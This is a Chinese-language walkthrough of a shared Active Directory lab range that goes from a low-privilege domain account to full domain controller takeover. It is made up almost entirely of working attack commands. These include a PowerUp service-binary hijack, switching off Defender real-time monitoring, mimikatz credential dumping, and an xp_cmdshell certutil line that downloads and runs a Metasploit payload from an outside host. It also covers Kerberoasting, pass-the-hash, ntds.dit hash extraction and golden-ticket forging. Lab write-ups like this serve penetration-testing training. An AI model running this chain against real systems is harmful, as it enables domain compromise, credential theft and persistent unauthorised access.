Abstract
大佬分享的一个国外的靶场环境: 提取码 9i2x
网络拓扑图
目前我们已经拥有了一个域内成员的机器,目标是拿下域控权限
【注】目前遇见的几个坑点:
- Client每隔一段时间会自动重启
- SQL机器需要通过安装系统替换某个exe的方式重置本机管理员密码,然后退出域再加入域
- SQL的服务开机不会自启,需手动开启
提权
提供的账号是一个普通的小域成员账号,啥都干不了…这时候我们需尝试利用提供的PowerUp.ps1
进行提权
1 | powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks" |
列出来了可能存在问题的所有服务以及相应的利用方法
这个是利用不可信服务进行提权,原理之前说过了。这里就先查询下该目录是否有修改的权限
1 | icacls "C:\Program Files\Vuln Service\VulnService.exe" |
说明:F
表示完全控制,M
表示修改,CI
表示从属容器将继承访问控制项
这里可以看见Alice这个用户有全部的权限去修改这个文件夹。
1 | C:\Users\Alice\Desktop\tools>powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName 'VulnService' -UserName 'offensive\Alice' -Password 'Password!'" |
会在当前文件夹下生成一个service.exe
的文件,能够将我们这个域成员添加管理权限。然后将其拷贝至目标目录
1 | cp service.exe "C:\Program Files\Vuln Service\VulnService.exe" |
重启就好了,然后登陆的时候提示原密码已过期需要重新修改个新密码。回来之后,查看权限
提权成功、
信息搜集
利用powershell顺手将Windows杀软关闭了
1 | Set-MpPreference -disablerealtimeMonitoring $true |
然后上传msf的木马,反弹出来。因为是用管理员身份打开的所以很容易拿到system权限
导入powerview进行信息收集
1 | 域控: |
利用mimikatz获取hash和明文密码
1 | mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> hash.txt |
内网渗透
横向渗透
nmap扫描一下sql那台机器端口情况
1 | 135/tcp open msrpc Microsoft Windows RPC |
存在mssql,于是导入PowerUpSql枚举域中的SQL server服务并查看信息
1 | #通过LDAP查询定位 |
dbadmin的用户权限,只要拿下该机器就能获得域管的权限。但是没有其他的服务作为入口,只能从sql server下手。用Powerview去查找alice用户能够登录的机器
1 | powershell_execute "Find-LocalAdminAccess -verbose" |
无果…
只能尝试使用提供的HeidiSQL利用windows的身份去连接mssql
连接成功!!! 接下来就是一把梭了,开启利用xp_cmdshell
就成
果然是dbadmin权限,我们需要反弹一个shell出来,关闭Windows杀软。先利用python2起一个简易的http服务,下载msf木马执行
1 | EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.159.10/8089.exe c:\8089.exe&&c:\8089.exe' |
权限比较高,直接getsystem
获得最高权限,上传mimikatz然后抓到密码和hash
1 | mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> hash2.txt |
SPN攻击
首先获取可以利用的SPN服务
1 | >cscript.exe .\GetUserSPNs.vbs |
然后请求指定的Server Ticket
1 | $SPNName = 'MSSQLSvc/Offensive-SQL1:1433' |
然后导出Server Ticket,拿到RC4加密的Ticket
1 | mimikatz # kerberos::list /export |
最后利用爆破密码,因为pass也是提供好的,所以一定能够爆破成功
1 | python tgsrepcrack.py pass.txt "1-40a10000-Alice@MSSQLSvc~Offensive-SQL1~1433-OFFENSIVE.LOCAL.kirbi" |
这样就拿到了dbuser1
的密码
撸域控
使用mimikatz进行PtH拿到一个域控的Shell
1 | privilege::debug |
我们现在有了域管理员dbadmin
的权限,能够直接导出ntds.dit中所有的Hash
1 | Set-MpPreference -disablerealtimeMonitoring $true |
然后exit
退出会话,用IPC$复制到client1
1 | cp \\dc.offensive.local\C$\Users\dbadmin\Documents\ntds.dit C:\Users\Alice\Desktop\tools\ |
最后从这俩个文件中提取Hash
1 | $key = Get-BootKey -SystemHivePath "C:\Users\alice\Desktop\tools\SYS" |
然后利用krbtgt的hash生成一个Golden Ticket
1 | mimikatz "kerberos::golden /domain:offensive.local /sid:S-1-5-21-1187620287-4058297830-2395299116 /aes256:dbae18467bd2eeb7eb2679e759b2b14d0755c1a4c3757b2f475399bb4ddb73b2 /user:god /ticket:aes.kirbi" |
至此拿下了域控